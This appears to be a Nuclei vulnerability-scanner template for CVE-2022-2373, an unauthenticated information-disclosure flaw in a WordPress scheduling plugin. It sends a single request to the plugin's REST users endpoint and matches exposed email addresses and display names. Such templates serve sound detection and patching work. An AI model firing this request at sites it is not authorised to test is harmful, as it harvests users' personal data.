id: CVE-2022-2373

info:
  name: WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure
  author: theamanrawat,theabhinavgaur
  severity: medium
  description: |
    WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the Simply Schedule Appointments plugin (1.5.7.7 or higher) to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6aa9aa0d-b447-4584-a07e-b8a0d1b83a31
    - https://wordpress.org/plugins/simply-schedule-appointments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2373
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2373
    cwe-id: CWE-862
    epss-score: 0.00292
    epss-percentile: 0.68538
    cpe: cpe:2.3:a:nsqua:simply_schedule_appointments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nsqua
    product: simply_schedule_appointments
    framework: wordpress
  tags: cve,cve2022,simply-schedule-appointments,unauth,wpscan,wordpress,wp-plugin,wp,nsqua

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ssa/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: regex
        regex:
          - 'response_code":200'
          - '"email":"([a-zA-Z-_0-9@.]+)","display_name":"([a-zA-Z-_0-9@.]+)","gravatar_url":"http?:\\\/\\\/([a-z0-9A-Z.\\\/?=&@_-]+)"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b940545db7a1a8e51cb87f781d4b9f7ff7bdb733dc9e3e9655204af3837f5bba02200e130cc811f3149c5dadcd9d423811fc7ad8ca0528144218ddec9b6af10fc4af:922c64590222798bb761d5b6d8e72950